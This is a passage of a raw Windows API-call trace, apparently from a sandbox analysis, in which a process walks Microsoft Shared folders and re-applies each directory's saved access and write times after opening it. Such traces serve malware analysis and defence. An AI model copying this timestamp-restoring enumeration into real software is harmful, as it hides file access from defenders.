ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0244.155] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.156] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.156] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.156] NtClose (Handle=0x1bc) returned 0x0 [0244.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.156] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.156] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0244.157] GetLastError () returned 0x12 [0244.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0244.157] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0244.157] GetLastError () returned 0x12 [0244.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.157] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0244.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.188] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.188] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.188] NtClose (Handle=0x1b0) returned 0x0 [0244.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.189] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0244.189] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.189] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0244.189] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0244.189] GetLastError () returned 0x12 [0244.189] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.189] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.189] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.189] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0244.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0244.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921560 [0244.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.222] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.222] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.222] NtClose (Handle=0x1b0) returned 0x0 [0244.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921560) returned 1 [0244.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921560 [0244.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921668 [0244.222] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0244.277] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.277] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0244.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921770 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9189b0 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921878 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9189d0 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921980 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9189f0 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921a88 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918a10 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921b90 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918a30 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921c98 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918a50 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921da0 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918a70 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921ea8 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] FindNextFileW (in: 